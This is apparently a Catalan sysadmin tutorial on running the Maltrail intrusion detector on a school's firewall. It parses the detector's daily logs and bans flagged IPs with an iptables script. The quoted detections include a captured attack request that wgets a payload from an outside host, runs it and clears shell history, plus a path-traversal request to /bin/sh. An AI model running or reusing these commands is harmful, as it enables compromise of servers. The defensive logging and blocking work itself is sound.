Utilització de l’ids maltrail com a detector d’intrussions i afegirem opcions de bloqueig a les deteccions a traves d’un script que recull del log de l’ids.
Una vegada instal·lat té un entorn web per visualitzar els events a la http://ip:8338 amb credencials per defecte admin - changeme!
Visitar el projecte maltrail https://github.com/stamparm/maltrail
Pot tenir una arquitectura sensor server per separat o integrat a la mateixa màquina. El nostre cas seria utilitzar l’enrutador de l’organització incorporant aquest ids.
En el nostre centre es troba instal·lat en el router tallafocs gestionant tot el tràfic d’entrada i sortida del centre les 24h.
Tenim instal·lació separada, es troba als servidors de moodle, darrera del proxy-invers d’apache.
quick start instal·lació
For Ubuntu/Debian
sudo apt-get install git python3 python3-dev python3-pip python-is-python3 libpcap-dev build-essential procps schedtool sudo pip3 install pcapy-ng git clone --depth 1 https://github.com/stamparm/maltrail.git cd maltrail sudo python3 sensor.py & sudo python3 server.py &
detall del contingut de la petició ‘potential remote code execution’
IPSERVIDOR/shell?cd /tmp;wget http://103.147.122.68/.3 -o fnu;chmod 777 fnu;sh fnu;rm -rf fnu;history -w;history -c
IPSERVIDOR/cgi-bin/../../../../bin/sh
I ALTRES deteccions
La instal·lació de maltrail ja està molt bé documentada a la web del proveïdor. Realitzar el test també és molt fàcil
To test that everything is up and running execute the following
ping -c 1 136.161.101.53 cat /var/log/maltrail/$(date +"%Y-%m-%d").log
Per realitzar el bloqueig dependrà de la classificació de la columna ‘info’, entre altres
La idea seria convertir aquest ids en ips.
El log de maltrail està guardat diariament a /var/log/maltrail
root@l:/var/log/maltrail# ls -lt total 1720376 -rw-r--r-- 1 root root 868862 jul 10 23:35 2022-07-10.log -rw-r--r-- 1 root root 577587 jul 9 23:57 2022-07-09.log -rw-r--r-- 1 root root 481074 jul 8 23:55 2022-07-08.log -rw-rw-rw- 1 root root 226401 jul 8 06:59 error.log -rw-r--r-- 1 root root 432028 jul 7 23:59 2022-07-07.log -rw-r--r-- 1 root root 362347 jul 6 23:58 2022-07-06.log
Contingut log maltrail
root@l:/var/log/maltrail# more 2022-07-10.log "2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:06.485298" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:06.485294" zentyal 197.45.35.19 53510 192.168.0.204 22 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:06.485190" zentyal 197.45.35.19 53510 172.16.1.1 9090 TCP IP 197.45.35.19 "known attacker" "blocklist.de (+greensnow.co,rutgers.edu)" "2022-07-10 00:00:15.333043" zentyal 222.186.19.205 57034 172.16.1.1 9080 TCP IP 222.186.19.205 "known attacker" "blocklist.de (+emergingthreats.net,greensnow.co,rulez.s k,rutgers.edu)" ……
Si ara filtrem per valors a la columna info per trobar el potential code execution presentat anteriorment amb la ip 45.61.185.76
rootl:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|grep 45.61.185.76 "2022-07-10 04:13:11.375192" l 45.61.185.76 42122 172.16.1.1 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic) "2022-07-10 04:13:11.375257" l 45.61.185.76 42122 192.168.1.175 80 TCP URL 80.59.197.13(/shell?cd%20%2ftmp%3bwget%20http%3a%2f%2f103.147.122.68%2f.3%20-o%20fnu%3bchmod%20777%20fnu%3bsh%20fnu%3brm%20-rf%20fnu%3bhistory%20-w%3bhistory%20-c) "potential remote code execution (suspicious)" (heuristic) ……
la columna 4 que és la que conté la ip agressora
cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}'
o
root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|cut -d ' ' -f 4
Finalment, aquestes son les ip detectades avui
root@l:/var/log/maltrail# cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}' 103.251.167.21 104.248.244.119 107.181.185.226 114.249.223.57 114.35.102.141 1.235.128.206 128.199.43.218 129.146.241.147 134.122.66.121 134.209.198.12 138.68.91.192 139.255.4.205 139.59.87.181 141.98.10.157 141.98.10.74 141.98.11.29 144.172.73.66 159.89.115.75 162.247.72.199 165.227.124.168 167.172.207.63 167.172.50.255 179.60.147.74 181.49.53.26 182.75.139.26 185.146.232.168 185.196.220.70 185.220.100.240 185.220.100.241 185.220.100.244 185.220.100.255 185.220.101.47 185.220.102.7
Realitzem la redirecció a un fitxer.data per tenir les ip’s
fecha=$(date +%F) echo $fecha A=ip-ids.$fecha echo $A cat /var/log/maltrail/2022-07-10.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code)'|awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A
Finalment podem intergrar-ho amb iptables per tal d’afegir-les directament a partir del fitxer generat.
fecha=$(date +%F) echo $fecha A=ip-ids.$fecha echo $A #cat /var/log/maltrail/2022-07-13.log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|sql|config)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A #no poso sql pq de vegades son alumnes als serveis interns. cat /var/log/maltrail/$(date +"%Y-%m-%d").log | egrep '(malware|tor exit|leakage|scan|attack|reputation|code|directory|shells|proxy|config|php injection)' | awk '{print $4}' | sort| uniq -c| awk '{print $2}' > $A for ip in $(cat $A); do echo $ip #comprovem si la ip està ja dintre del tallafocs, grep -w nomes per aquesta paraula, si no està l'afegim en diferents taules. GG=$(/sbin/iptables -nvL INPUT |grep -w $ip | uniq -c | awk '{print $9}' ) if [ ! $GG ] ; then /sbin/iptables -t mangle -A PREROUTING -s $ip -j DROP /sbin/iptables -A INPUT -s $ip -j DROP /sbin/iptables -A FORWARD -s $ip -j DROP /sbin/iptables -A OUTPUT -d $ip -j DROP echo 'ESCRIBO NUEVA IP BLOQUEIG' fi #echo 'ja estava' $ip done; echo 'FINALItZAt Afegir les noves ip-ids'